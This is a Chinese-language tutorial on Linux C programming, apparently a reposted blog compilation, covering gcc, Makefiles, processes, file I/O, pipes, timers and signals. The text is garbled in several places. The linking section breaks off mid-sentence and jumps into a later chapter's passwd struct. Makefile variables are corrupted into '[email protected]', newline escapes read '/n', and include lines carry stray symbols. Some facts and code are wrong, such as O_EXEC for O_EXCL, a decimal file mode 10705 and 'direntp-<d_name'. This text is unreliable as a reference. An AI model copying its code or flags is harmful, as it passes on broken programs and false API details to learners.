天天看點

linux下C程式設計詳解

inux作業系統下

c語言程式設計

整理編寫:007xiong

原文:Hoyt等

(一)目錄介紹

1)Linux程式設計入門--基礎知識

2)Linux程式設計入門--程序介紹

3)Linux程式設計入門--檔案操作

4)Linux程式設計入門--時間概念

5)Linux程式設計入門--信号處理

6)Linux程式設計入門--消息管理

7)Linux程式設計入門--線程操作

8)Linux程式設計入門--網絡程式設計

9)Linux下C開發工具介紹

(二)具體内容

1)Linux程式設計入門--基礎知識

Linux下C語言程式設計基礎知識

前言:

這篇文章介紹在LINUX下進行C語言程式設計所需要的基礎知識.在這篇文章當中,我們将

會學到以下内容:

源程式編譯

Makefile的編寫

程式庫的連結

程式的調試

頭檔案和系統求助

----------------------------------------------------------------------------

----

1.源程式的編譯

在Linux下面,如果要編譯一個C語言源程式,我們要使用GNU的gcc編譯器. 下面我們

以一個執行個體來說明如何使用gcc編譯器.

假設我們有下面一個非常簡單的源程式(hello.c):

int main(int argc,char **argv)

{

printf("Hello Linux/n");

}

要編譯這個程式,我們隻要在指令行下執行:

gcc -o hello hello.c

gcc 編譯器就會為我們生成一個hello的可執行檔案.執行./hello就可以看到程式的輸出

結果了.指令行中 gcc表示我們是用gcc來編譯我們的源程式,-o 選項表示我們要求編譯

器給我們輸出的可執行檔案名為hello 而hello.c是我們的源程式檔案.

gcc編譯器有許多選項,一般來說我們隻要知道其中的幾個就夠了. -o選項我們已經知道

了,表示我們要求輸出的可執行檔案名. -c選項表示我們隻要求編譯器輸出目标代碼,而

不必要輸出可執行檔案. -g選項表示我們要求編譯器在編譯的時候提供我們以後對程式

進行調試的資訊.

知道了這三個選項,我們就可以編譯我們自己所寫的簡單的源程式了,如果你想要知道更

多的選項,可以檢視gcc的幫助文檔,那裡有着許多對其它選項的詳細說明.

2.Makefile的編寫

假設我們有下面這樣的一個程式,源代碼如下:

#include "mytool1.h"

#include "mytool2.h"

int main(int argc,char **argv)

{

mytool1_print("hello");

mytool2_print("hello");

}

#ifndef _MYTOOL_1_H

#define _MYTOOL_1_H

void mytool1_print(char *print_str);

#endif

#include "mytool1.h"

void mytool1_print(char *print_str)

{

printf("This is mytool1 print %s/n",print_str);

}

#ifndef _MYTOOL_2_H

#define _MYTOOL_2_H

void mytool2_print(char *print_str);

#endif

#include "mytool2.h"

void mytool2_print(char *print_str)

{

printf("This is mytool2 print %s/n",print_str);

}

當然由于這個程式是很短的我們可以這樣來編譯

gcc -c main.c

gcc -c mytool1.c

gcc -c mytool2.c

gcc -o main main.o mytool1.o mytool2.o

這樣的話我們也可以産生main程式,而且也不時很麻煩.但是如果我們考慮一下如果有一

天我們修改了其中的一個檔案(比如說mytool1.c)那麼我們難道還要重新輸入上面的指令

?也許你會說,這個很容易解決啊,我寫一個SHELL腳本,讓她幫我去完成不就可以了.是的

對于這個程式來說,是可以起到作用的.但是當我們把事情想的更複雜一點,如果我們的程

序有幾百個源程式的時候,難道也要編譯器重新一個一個的去編譯?

為此,聰明的程式員們想出了一個很好的工具來做這件事情,這就是make.我們隻要執行以

下make,就可以把上面的問題解決掉.在我們執行make之前,我們要先編寫一個非常重要的

檔案.--Makefile.對于上面的那個程式來說,可能的一個Makefile的檔案是:

# 這是上面那個程式的Makefile檔案

main:main.o mytool1.o mytool2.o

gcc -o main main.o mytool1.o mytool2.o

main.o:main.c mytool1.h mytool2.h

gcc -c main.c

mytool1.o:mytool1.c mytool1.h

gcc -c mytool1.c

mytool2.o:mytool2.c mytool2.h

gcc -c mytool2.c

有了這個Makefile檔案,不過我們什麼時候修改了源程式當中的什麼檔案,我們隻要執行

make指令,我們的編譯器都隻會去編譯和我們修改的檔案有關的檔案,其它的檔案她連理

都不想去理的.

下面我們學習Makefile是如何編寫的.

在Makefile中也#開始的行都是注釋行.Makefile中最重要的是描述檔案的依賴關系的說

明.一般的格式是:

target: components

TAB rule

第一行表示的是依賴關系.第二行是規則.

比如說我們上面的那個Makefile檔案的第二行

main:main.o mytool1.o mytool2.o

表示我們的目标(target)main的依賴對象(components)是main.o mytool1.o mytool2.o

當倚賴的對象在目标修改後修改的話,就要去執行規則一行所指定的指令.就象我們的上

面那個Makefile第三行所說的一樣要執行 gcc -o main main.o mytool1.o mytool2.o

注意規則一行中的TAB表示那裡是一個TAB鍵

Makefile有三個非常有用的變量.分别是[email protected],$^,$<代表的意義分别是:

[email protected]目标檔案,$^--所有的依賴檔案,$<--第一個依賴檔案.

如果我們使用上面三個變量,那麼我們可以簡化我們的Makefile檔案為:

# 這是簡化後的Makefile

main:main.o mytool1.o mytool2.o

gcc -o [email protected] $^

main.o:main.c mytool1.h mytool2.h

gcc -c $<

mytool1.o:mytool1.c mytool1.h

gcc -c $<

mytool2.o:mytool2.c mytool2.h

gcc -c $<

經過簡化後我們的Makefile是簡單了一點,不過人們有時候還想簡單一點.這裡我們學習

一個Makefile的預設規則

..c.o:

gcc -c $<

這個規則表示所有的 .o檔案都是依賴與相應的.c檔案的.例如mytool.o依賴于mytool.c

這樣Makefile還可以變為:

# 這是再一次簡化後的Makefile

main:main.o mytool1.o mytool2.o

gcc -o [email protected] $^

..c.o:

gcc -c $<

好了,我們的Makefile 也差不多了,如果想知道更多的關于Makefile規則可以檢視相應的

文檔.

3.程式庫的連結

試着編譯下面這個程式

#include <math.h>;

int main(int argc,char **argv)

{

double value;

printf("Value:%f/n",value);

}

這個程式相當簡單,但是當我們用 gcc -o temp temp.c 編譯時會出現下面所示的錯誤.

/tmp/cc33Kydu.o: In function `main':

/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'

collect2: ld returned 1 exit status

出現這個錯誤是因為編譯器找不到log的具體實作.雖然我們包括了正确的頭檔案,但是我

們在編譯的時候還是要連接配接确定的庫.在Linux下,為了使用數學函數,我們必須和數學庫

連接配接,為此我們要加入 -lm 選項. gcc -o temp temp.c -lm這樣才能夠正确的編譯.也許

有人要問,前面我們用printf函數的時候怎麼沒有連接配接庫呢?是這樣的,對于一些常用的函

數的實作,gcc編譯器會自動去連接配接一些常用庫,這樣我們就沒有必要自己去指定了. 有時

候我們在編譯程式的時候還要指定庫的路徑,這個時候我們要用到編譯器的 -L選項指定

路徑.比如說我們有一個庫在 /home/hoyt/mylib下,這樣我們編譯的時候還要加上 -L/h

ome/hoyt/mylib.對于一些标準庫來說,我們沒有必要指出路徑.隻要它們在起預設庫的路

徑下就可以了.系統的預設庫的路徑/lib /usr/lib /usr/local/lib 在這三個路徑下面

的庫,我們可以不指定路徑.

還有一個問題,有時候我們使用了某個函數,但是我們不知道庫的名字,這個時候怎麼辦呢

?很抱歉,對于這個問題我也不知道答案,我隻有一個傻辦法.首先,我到标準庫路徑下面去

找看看有沒有和我用的函數相關的庫,我就這樣找到了線程(thread)函數的庫檔案(libp

thread.a). 當然,如果找不到,隻有一個笨方法.比如我要找sin這個函數所在的庫. 就隻

好用 nm -o /lib

char *pw_passwd;

uid_t pw_uid;

gid_t pw_gid;

char *pw_gecos;

char *pw_dir;

char *pw_shell;

};

#include <pwd.h>;

#include <sys/types.h>;

struct passwd *getpwuid(uid_t uid);

下面我們學習一個執行個體來實踐一下上面我們所學習的幾個函數:

#include <unistd.h>;

#include <pwd.h>;

#include <sys/types.h>;

#include <stdio.h>;

int main(int argc,char **argv)

{

pid_t my_pid,parent_pid;

uid_t my_uid,my_euid;

gid_t my_gid,my_egid;

struct passwd *my_info;

my_pid=getpid();

parent_pid=getppid();

my_uid=getuid();

my_euid=geteuid();

my_gid=getgid();

my_egid=getegid();

my_info=getpwuid(my_uid);

printf("Process ID:%ld/n",my_pid);

printf("Parent ID:%ld/n",parent_pid);

printf("User ID:%ld/n",my_uid);

printf("Effective User ID:%ld/n",my_euid);

printf("Group ID:%ld/n",my_gid);

printf("Effective Group ID:%ld/n",my_egid):

if(my_info)

{

printf("My Login Name:%s/n" ,my_info->;pw_name);

printf("My Password :%s/n" ,my_info->;pw_passwd);

printf("My User ID :%ld/n",my_info->;pw_uid);

printf("My Group ID :%ld/n",my_info->;pw_gid);

printf("My Real Name:%s/n" ,my_info->;pw_gecos);

printf("My Home Dir :%s/n", my_info->;pw_dir);

printf("My Work Shell:%s/n", my_info->;pw_shell);

}

}

3。程序的建立

建立一個程序的系統調用很簡單.我們隻要調用fork函數就可以了.

#include <unistd.h>;

pid_t fork();

當一個程序調用了fork以後,系統會建立一個子程序.這個子程序和父程序不同的地方隻

有他的程序ID和父程序ID,其他的都是一樣.就象符程序克隆(clone)自己一樣.當然建立

兩個一模一樣的程序是沒有意義的.為了區分父程序和子程序,我們必須跟蹤fork的傳回

值. 當fork掉用失敗的時候(記憶體不足或者是使用者的最大程序數已到)fork傳回-1,否則f

ork的傳回值有重要的作用.對于父程序fork傳回子程序的ID,而對于fork子程序傳回0.我

們就是根據這個傳回值來區分父子程序的. 父程序為什麼要建立子程序呢?前面我們已經

說過了Linux是一個多使用者作業系統,在同一時間會有許多的使用者在争奪系統的資源.有時

程序為了早一點完成任務就建立子程序來争奪資源. 一旦子程序被建立,父子程序一起從

fork處繼續執行,互相競争系統的資源.有時候我們希望子程序繼續執行,而父程序阻塞直

到子程序完成任務.這個時候我們可以調用wait或者waitpid系統調用.

#include <sys/types.h>;

#include <sys/wait.h>;

pid_t wait(int *stat_loc);

pid_t waitpid(pid_t pid,int *stat_loc,int options);

wait系統調用會使父程序阻塞直到一個子程序結束或者是父程序接受到了一個信号.如果

沒有父程序沒有子程序或者他的子程序已經結束了wait回立即傳回.成功時(因一個子進

程結束)wait将傳回子程序的ID,否則傳回-1,并設定全局變量errno.stat_loc是子程序的

退出狀态.子程序調用exit,_exit 或者是return來設定這個值. 為了得到這個值Linux定

義了幾個宏來測試這個傳回值.

WIFEXITED:判斷子程序退出值是非0

WEXITSTATUS:判斷子程序的退出值(當子程序退出時非0).

WIFSIGNALED:子程序由于有沒有獲得的信号而退出.

WTERMSIG:子程序沒有獲得的信号号(在WIFSIGNALED為真時才有意義).

waitpid等待指定的子程序直到子程序傳回.如果pid為正值則等待指定的程序(pid).如果

為0則等待任何一個組ID和調用者的組ID相同的程序.為-1時等同于wait調用.小于-1時等

待任何一個組ID等于pid絕對值的程序. stat_loc和wait的意義一樣. options可以決定

父程序的狀态.可以取兩個值 WNOHANG:父程序立即傳回當沒有子程序存在時. WUNTACHE

D:當子程序結束時waitpid傳回,但是子程序的退出狀态不可得到.

父程序建立子程序後,子程序一般要執行不同的程式.為了調用系統程式,我們可以使用系

統調用exec族調用.exec族調用有着5個函數.

#include <unistd.h>;

int execl(const char *path,const char *arg,...);

int execlp(const char *file,const char *arg,...);

int execle(const char *path,const char *arg,...);

int execv(const char *path,char *const argv[]);

int execvp(const char *file,char *const argv[]):

exec族調用可以執行給定程式.關于exec族調用的詳細解說可以參考系統手冊(man exec

l). 下面我們來學習一個執行個體.注意編譯的時候要加 -lm以便連接配接數學函數庫.

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/wait.h>;

#include <stdio.h>;

#include <errno.h>;

#include <math.h>;

void main(void)

{

pid_t child;

int status;

printf("This will demostrate how to get child status/n");

if((child=fork())==-1)

{

printf("Fork Error :%s/n",strerror(errno));

exit(1);

}

else if(child==0)

{

int i;

printf("I am the child:%ld/n",getpid());

for(i=0;i<1000000;i++) sin(i);

i=5;

printf("I exit with %d/n",i);

exit(i);

}

while(((child=wait(&status))==-1)&(errno==EINTR));

if(child==-1)

printf("Wait Error:%s/n",strerror(errno));

else if(!status)

printf("Child %ld terminated normally return status is zero/n",

child);

else if(WIFEXITED(status))

printf("Child %ld terminated normally return status is %d/n",

child,WEXITSTATUS(status));

else if(WIFSIGNALED(status))

printf("Child %ld terminated due to signal %d znot caught/n",

child,WTERMSIG(status));

}

strerror函數會傳回一個指定的錯誤号的錯誤資訊的字元串.

4。守護程序的建立

如果你在DOS時代編寫過程式,那麼你也許知道在DOS下為了編寫一個常駐記憶體的程式

我們要編寫多少代碼了.相反如果在Linux下編寫一個"常駐記憶體"的程式卻是很容易的.我

們隻要幾行代碼就可以做到. 實際上由于Linux是多任務作業系統,我們就是不編寫代碼

也可以把一個程式放到背景去執行的.我們隻要在指令後面加上&符号SHELL就會把我們的

程式放到背景去運作的. 這裡我們"開發"一個背景檢查郵件的程式.這個程式每個一個指

定的時間回去檢查我們的郵箱,如果發現我們有郵件了,會不斷的報警(通過機箱上的小喇

叭來發出聲音). 後面有這個函數的加強版本加強版本

背景程序的建立思想: 首先父程序建立一個子程序.然後子程序殺死父程序(是不是很無

情?). 信号處理所有的工作由子程序來處理.

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <signal.h>;

#define MAIL "/var/spool/mail/hoyt"

#define SLEEP_TIME 10

main(void)

{

pid_t child;

if((child=fork())==-1)

{

printf("Fork Error:%s/n",strerror(errno));

exit(1);

}

else if(child>;0)

while(1);

if(kill(getppid(),SIGTERM)==-1)

{

printf("Kill Parent Error:%s/n",strerror(errno));

exit(1);

}

{

int mailfd;

while(1)

{

if((mailfd=open(MAIL,O_RDONLY))!=-1)

{

fprintf(stderr,"%s","/007");

close(mailfd);

}

sleep(SLEEP_TIME);

}

}

}

你可以在預設的路徑下建立你的郵箱檔案,然後測試一下這個程式.當然這個程式還有很

多地方要改善的.我們後面會對這個小程式改善的,再看我的改善之前你可以嘗試自己改

善一下.比如讓使用者指定郵相的路徑和睡眠時間等等.相信自己可以做到的.動手吧,勇敢

的探險者.

好了程序一節的内容我們就先學到這裡了.程序是一個非常重要的概念,許多的程式都會

用子程序.建立一個子程序是每一個程式員的基本要求!   

3)Linux程式設計入門--檔案操作

Linux下檔案的操作

前言:

我們在這一節将要讨論linux下檔案操作的各個函數.

檔案的建立和讀寫

檔案的各個屬性

目錄檔案的操作

管道檔案

----------------------------------------------------------------------------

----

1。檔案的建立和讀寫

我假設你已經知道了标準級的檔案操作的各個函數(fopen,fread,fwrite等等).當然

如果你不清楚的話也不要着急.我們讨論的系統級的檔案操作實際上是為标準級檔案操作

服務的.

當我們需要打開一個檔案進行讀寫操作的時候,我們可以使用系統調用函數open.使用完

成以後我們調用另外一個close函數進行關閉操作.

#include <fcntl.h>;

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

int open(const char *pathname,int flags);

int open(const char *pathname,int flags,mode_t mode);

int close(int fd);

open函數有兩個形式.其中pathname是我們要打開的檔案名(包含路徑名稱,預設是認為在

目前路徑下面).flags可以去下面的一個值或者是幾個值的組合.

O_RDONLY:以隻讀的方式打開檔案.

O_WRONLY:以隻寫的方式打開檔案.

O_RDWR:以讀寫的方式打開檔案.

O_APPEND:以追加的方式打開檔案.

O_CREAT:建立一個檔案.

O_EXEC:如果使用了O_CREAT而且檔案已經存在,就會發生一個錯誤.

O_NOBLOCK:以非阻塞的方式打開一個檔案.

O_TRUNC:如果檔案已經存在,則删除檔案的内容.

前面三個标志隻能使用任意的一個.如果使用了O_CREATE标志,那麼我們要使用open的第

二種形式.還要指定mode标志,用來表示檔案的通路權限.mode可以是以下情況的組合.

-----------------------------------------------------------------

S_IRUSR 使用者可以讀 S_IWUSR 使用者可以寫

S_IXUSR 使用者可以執行 S_IRWXU 使用者可以讀寫執行

-----------------------------------------------------------------

S_IRGRP 組可以讀 S_IWGRP 組可以寫

S_IXGRP 組可以執行 S_IRWXG 組可以讀寫執行

-----------------------------------------------------------------

S_IROTH 其他人可以讀 S_IWOTH 其他人可以寫

S_IXOTH 其他人可以執行 S_IRWXO 其他人可以讀寫執行

-----------------------------------------------------------------

S_ISUID 設定使用者執行ID S_ISGID 設定組的執行ID

-----------------------------------------------------------------

我們也可以用數字來代表各個位的标志.Linux總共用5個數字來表示檔案的各種權限.

00000.第一位表示設定使用者ID.第二位表示設定組ID,第三位表示使用者自己的權限位,第四

位表示組的權限,最後一位表示其他人的權限.

每個數字可以取1(執行權限),2(寫權限),4(讀權限),0(什麼也沒有)或者是這幾個值的和

..

比如我們要建立一個使用者讀寫執行,組沒有權限,其他人讀執行的檔案.設定使用者ID位那麼

我們可以使用的模式是--1(設定使用者ID)0(組沒有設定)7(1+2+4)0(沒有權限,使用預設)

5(1+4)即10705:

open("temp",O_CREAT,10705);

如果我們打開檔案成功,open會傳回一個檔案描述符.我們以後對檔案的所有操作就可以

對這個檔案描述符進行操作了.

當我們操作完成以後,我們要關閉檔案了,隻要調用close就可以了,其中fd是我們要關閉

的檔案描述符.

檔案打開了以後,我們就要對檔案進行讀寫了.我們可以調用函數read和write進行檔案的

讀寫.

#include <unistd.h>;

ssize_t read(int fd, void *buffer,size_t count);

ssize_t write(int fd, const void *buffer,size_t count);

fd是我們要進行讀寫操作的檔案描述符,buffer是我們要寫入檔案内容或讀出檔案内容的

記憶體位址.count是我們要讀寫的位元組數.

對于普通的檔案read從指定的檔案(fd)中讀取count位元組到buffer緩沖區中(記住我們必

須提供一個足夠大的緩沖區),同時傳回count.

如果read讀到了檔案的結尾或者被一個信号所中斷,傳回值會小于count.如果是由信号中

斷引起傳回,而且沒有傳回資料,read會傳回-1,且設定errno為EINTR.當程式讀到了檔案

結尾的時候,read會傳回0.

write從buffer中寫count位元組到檔案fd中,成功時傳回實際所寫的位元組數.

下面我們學習一個執行個體,這個執行個體用來拷貝檔案.

#include <unistd.h>;

#include <fcntl.h>;

#include <stdio.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <errno.h>;

#include <string.h>;

#define BUFFER_SIZE 1024

int main(int argc,char **argv)

{

int from_fd,to_fd;

int bytes_read,bytes_write;

char buffer[BUFFER_SIZE];

char *ptr;

if(argc!=3)

{

fprintf(stderr,"Usage:%s fromfile tofile/n/a",argv[0]);

exit(1);

}

if((from_fd=open(argv[1],O_RDONLY))==-1)

{

fprintf(stderr,"Open %s Error:%s/n",argv[1],strerror(errno));

exit(1);

}

if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)

{

fprintf(stderr,"Open %s Error:%s/n",argv[2],strerror(errno));

exit(1);

}

while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))

{

if((bytes_read==-1)&&(errno!=EINTR)) break;

else if(bytes_read>;0)

{

ptr=buffer;

while(bytes_write=write(to_fd,ptr,bytes_read))

{

if((bytes_write==-1)&&(errno!=EINTR))break;

else if(bytes_write==bytes_read) break;

else if(bytes_write>;0)

{

ptr+=bytes_write;

bytes_read-=bytes_write;

}

}

if(bytes_write==-1)break;

}

}

close(from_fd);

close(to_fd);

exit(0);

}

2。檔案的各個屬性

檔案具有各種各樣的屬性,除了我們上面所知道的檔案權限以外,檔案還有建立時間

,大小等等屬性.

有時侯我們要判斷檔案是否可以進行某種操作(讀,寫等等).這個時候我們可以使用acce

ss函數.

#include <unistd.h>;

int access(const char *pathname,int mode);

pathname:是檔案名稱,mode是我們要判斷的屬性.可以取以下值或者是他們的組合.

R_OK檔案可以讀,W_OK檔案可以寫,X_OK檔案可以執行,F_OK檔案存在.當我們測試成功時

,函數傳回0,否則如果有一個條件不符時,傳回-1.

如果我們要獲得檔案的其他屬性,我們可以使用函數stat或者fstat.

#include <sys/stat.h>;

#include <unistd.h>;

int stat(const char *file_name,struct stat *buf);

int fstat(int filedes,struct stat *buf);

struct stat {

dev_t st_dev;

ino_t st_ino;

mode_t st_mode;

nlink_t st_nlink;

uid_t st_uid;

gid_t st_gid;

dev_t st_rdev;

off_t st_off;

unsigned long st_blksize;

unsigned long st_blocks;

time_t st_atime;

time_t st_mtime;

time_t st_ctime;

};

stat用來判斷沒有打開的檔案,而fstat用來判斷打開的檔案.我們使用最多的屬性是st_

mode.通過着屬性我們可以判斷給定的檔案是一個普通檔案還是一個目錄,連接配接等等.可以

使用下面幾個宏來判斷.

S_ISLNK(st_mode):是否是一個連接配接.S_ISREG是否是一個正常檔案.S_ISDIR是否是一個目

錄S_ISCHR是否是一個字元裝置.S_ISBLK是否是一個塊裝置S_ISFIFO是否 是一個FIFO文

件.S_ISSOCK是否是一個SOCKET檔案. 我們會在下面說明如何使用這幾個宏的.

3。目錄檔案的操作

在我們編寫程式的時候,有時候會要得到我們目前的工作路徑。C庫函數提供了get

cwd來解決這個問題。

#include <unistd.h>;

char *getcwd(char *buffer,size_t size);

我們提供一個size大小的buffer,getcwd會把我們目前的路徑考到buffer中.如果buffer

太小,函數會傳回-1和一個錯誤号.

Linux提供了大量的目錄操作函數,我們學習幾個比較簡單和常用的函數.

#include <dirent.h>;

#include <unistd.h>;

#include <fcntl.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

int mkdir(const char *path,mode_t mode);

DIR *opendir(const char *path);

struct dirent *readdir(DIR *dir);

void rewinddir(DIR *dir);

off_t telldir(DIR *dir);

void seekdir(DIR *dir,off_t off);

int closedir(DIR *dir);

struct dirent {

long d_ino;

off_t d_off;

unsigned short d_reclen;

char d_name[NAME_MAX+1];

mkdir很容易就是我們建立一個目錄,opendir打開一個目錄為以後讀做準備.readdir讀一

個打開的目錄.rewinddir是用來重讀目錄的和我們學的rewind函數一樣.closedir是關閉

一個目錄.telldir和seekdir類似與ftee和fseek函數.

下面我們開發一個小程式,這個程式有一個參數.如果這個參數是一個檔案名,我們輸出這

個檔案的大小和最後修改的時間,如果是一個目錄我們輸出這個目錄下所有檔案的大小和

修改時間.

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <dirent.h>;

#include <time.h>;

static int get_file_size_time(const char *filename)

{

struct stat statbuf;

if(stat(filename,&statbuf)==-1)

{

printf("Get stat on %s Error:%s/n",

filename,strerror(errno));

return(-1);

}

if(S_ISDIR(statbuf.st_mode))return(1);

if(S_ISREG(statbuf.st_mode))

printf("%s size:%ld bytes/tmodified at %s",

filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);

}

int main(int argc,char **argv)

{

DIR *dirp;

struct dirent *direntp;

int stats;

if(argc!=2)

{

printf("Usage:%s filename/n/a",argv[0]);

exit(1);

}

if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);

if((dirp=opendir(argv[1]))==NULL)

{

printf("Open Directory %s Error:%s/n",

argv[1],strerror(errno));

exit(1);

}

while((direntp=readdir(dirp))!=NULL)

if(get_file_size_time(direntp-<d_name)==-1)break;

closedir(dirp);

exit(1);

}

4。管道檔案

Linux提供了許多的過濾和重定向程式,比如more cat

等等.還提供了< >; | <<等等重定向操作符.在這些過濾和重 定向程式當中,都用到了管

道這種特殊的檔案.系統調用pipe可以建立一個管道.

#include<unistd.h>;

int pipe(int fildes[2]);

pipe調用可以建立一個管道(通信緩沖區).當調用成功時,我們可以通路檔案描述符fild

es[0],fildes[1].其中fildes[0]是用來讀的檔案描述符,而fildes[1]是用來寫的檔案描

述符.

在實際使用中我們是通過建立一個子程序,然後一個程序寫,一個程序讀來使用的.

關于程序通信的詳細情況請檢視程序通信

#include <stdio.h>;

#include <stdlib.h>;

#include <unistd.h>;

#include <string.h>;

#include <errno.h>;

#include <sys/types.h>;

#include <sys/wait.h>;

#define BUFFER 255

int main(int argc,char **argv)

{

char buffer[BUFFER+1];

int fd[2];

if(argc!=2)

{

fprintf(stderr,"Usage:%s string/n/a",argv[0]);

exit(1);

}

if(pipe(fd)!=0)

{

fprintf(stderr,"Pipe Error:%s/n/a",strerror(errno));

exit(1);

}

if(fork()==0)

{

close(fd[0]);

printf("Child[%d] Write to pipe/n/a",getpid());

snprintf(buffer,BUFFER,"%s",argv[1]);

write(fd[1],buffer,strlen(buffer));

printf("Child[%d] Quit/n/a",getpid());

exit(0);

}

else

{

close(fd[1]);

printf("Parent[%d] Read from pipe/n/a",getpid());

memset(buffer,'/0',BUFFER+1);

read(fd[0],buffer,BUFFER);

printf("Parent[%d] Read:%s/n",getpid(),buffer);

exit(1);

}

}

為了實作重定向操作,我們需要調用另外一個函數dup2.

#include <unistd.h>;

int dup2(int oldfd,int newfd);

dup2将用oldfd檔案描述符來代替newfd檔案描述符,同時關閉newfd檔案描述符.也就是說

,

所有向newfd操作都轉到oldfd上面.下面我們學習一個例子,這個例子将标準輸出重定向

到一個檔案.

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <string.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#define BUFFER_SIZE 1024

int main(int argc,char **argv)

{

int fd;

char buffer[BUFFER_SIZE];

if(argc!=2)

{

fprintf(stderr,"Usage:%s outfilename/n/a",argv[0]);

exit(1);

}

if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)

{

fprintf(stderr,"Open %s Error:%s/n/a",argv[1],strerror(errno));

exit(1);

}

if(dup2(fd,STDOUT_FILENO)==-1)

{

fprintf(stderr,"Redirect Standard Out Error:%s/n/a",strerror(errno));

exit(1);

}

fprintf(stderr,"Now,please input string");

fprintf(stderr,"(To quit use CTRL+D)/n");

while(1)

{

fgets(buffer,BUFFER_SIZE,stdin);

if(feof(stdin))break;

write(STDOUT_FILENO,buffer,strlen(buffer));

}

exit(0);

}

好了,檔案一章我們就暫時先讨論到這裡,學習好了檔案的操作我們其實已經可以寫出一

些比較有用的程式了.我們可以編寫一個實作例如dir,mkdir,cp,mv等等常用的檔案操作

指令了.

想不想自己寫幾個試一試呢?  

4)程式設計入門--時間概念

前言:Linux下的時間概念

這一章我們學習Linux的時間表示和計算函數

時間的表示

時間的測量

計時器的使用

1。時間表示 在程式當中,我們經常要輸出系統目前的時間,比如我們使用date指令

的輸出結果.這個時候我們可以使用下面兩個函數

#include <time.h>;

time_t time(time_t *tloc);

char *ctime(const time_t *clock);

time函數傳回從1970年1月1日0點以來的秒數.存儲在time_t結構之中.不過這個函數的返

回值對于我們來說沒有什麼實際意義.這個時候我們使用第二個函數将秒數轉化為字元串

.. 這個函數的傳回類型是固定的:一個可能值為. Thu Dec 7 14:58:59 2000 這個字元串

的長度是固定的為26

2。時間的測量 有時候我們要計算程式執行的時間.比如我們要對算法進行時間分析

..這個時候可以使用下面這個函數.

#include <sys/time.h>;

int gettimeofday(struct timeval *tv,struct timezone *tz);

strut timeval {

long tv_sec;

long tv_usec;

};

gettimeofday将時間儲存在結構tv之中.tz一般我們使用NULL來代替.

#include <sys/time.h<

#include <stdio.h<

#include <math.h<

void function()

{

unsigned int i,j;

double y;

for(i=0;i<1000;i++)

for(j=0;j<1000;j++)

y=sin((double)i);

}

main()

{

struct timeval tpstart,tpend;

float timeuse;

gettimeofday(&tpstart,NULL);

function();

gettimeofday(&tpend,NULL);

timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+

tpend.tv_usec-tpstart.tv_usec;

timeuse/=1000000;

printf("Used Time:%f/n",timeuse);

exit(0);

}

這個程式輸出函數的執行時間,我們可以使用這個來進行系統性能的測試,或者是函數算

法的效率分析.在我機器上的一個輸出結果是: Used Time:0.556070

3。計時器的使用 Linux作業系統為每一個程序提供了3個内部間隔計時器.

ITIMER_REAL:減少實際時間.到時的時候發出SIGALRM信号.

ITIMER_VIRTUAL:減少有效時間(程序執行的時間).産生SIGVTALRM信号.

ITIMER_PROF:減少程序的有效時間和系統時間(為程序排程用的時間).這個經常和上面一

個使用用來計算系統核心時間和使用者時間.産生SIGPROF信号.

具體的操作函數是:

#include <sys/time.h>;

int getitimer(int which,struct itimerval *value);

int setitimer(int which,struct itimerval *newval,

struct itimerval *oldval);

struct itimerval {

struct timeval it_interval;

struct timeval it_value;

}

getitimer函數得到間隔計時器的時間值.儲存在value中 setitimer函數設定間隔計時器

的時間值為newval.并将舊值儲存在oldval中. which表示使用三個計時器中的哪一個.

itimerval結構中的it_value是減少的時間,當這個值為0的時候就發出相應的信号了. 然

後設定為it_interval值.

#include <sys/time.h>;

#include <stdio.h>;

#include <unistd.h>;

#include <signal.h>;

#include <string.h>;

#define PROMPT "時間已經過去了兩秒鐘/n/a"

char *prompt=PROMPT;

unsigned int len;

void prompt_info(int signo)

{

write(STDERR_FILENO,prompt,len);

}

void init_sigaction(void)

{

struct sigaction act;

act.sa_handler=prompt_info;

act.sa_flags=0;

sigemptyset(&act.sa_mask);

sigaction(SIGPROF,&act,NULL);

}

void init_time()

{

struct itimerval value;

value.it_value.tv_sec=2;

value.it_value.tv_usec=0;

value.it_interval=value.it_value;

setitimer(ITIMER_PROF,&value,NULL);

}

int main()

{

len=strlen(prompt);

init_sigaction();

init_time();

while(1);

exit(0);

}

這個程式每執行兩秒中之後會輸出一個提示.  

5)Linux程式設計入門--信号處理

Linux下的信号事件

前言:這一章我們讨論一下Linux下的信号處理函數.

Linux下的信号處理函數:

信号的産生

信号的處理

其它信号函數

一個執行個體

1。信号的産生

Linux下的信号可以類比于DOS下的INT或者是Windows下的事件.在有一個信号發生時

候相信的信号就會發送給相應的程序.在Linux下的信号有以下幾個. 我們使用 kill -l

指令可以得到以下的輸出結果:

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL

5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE

9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2

13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD

18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN

22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ

26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO

30) SIGPWR

關于這些信号的詳細解釋請檢視man 7 signal的輸出結果. 信号事件的發生有兩個來源

:一個是硬體的原因(比如我們按下了鍵盤),一個是軟體的原因(比如我們使用系統函數或

者是指令發出信号). 最常用的四個發出信号的系統函數是kill, raise, alarm和setit

imer函數. setitimer函數我們在計時器的使用 那一章再學習.

#include <sys/types.h>;

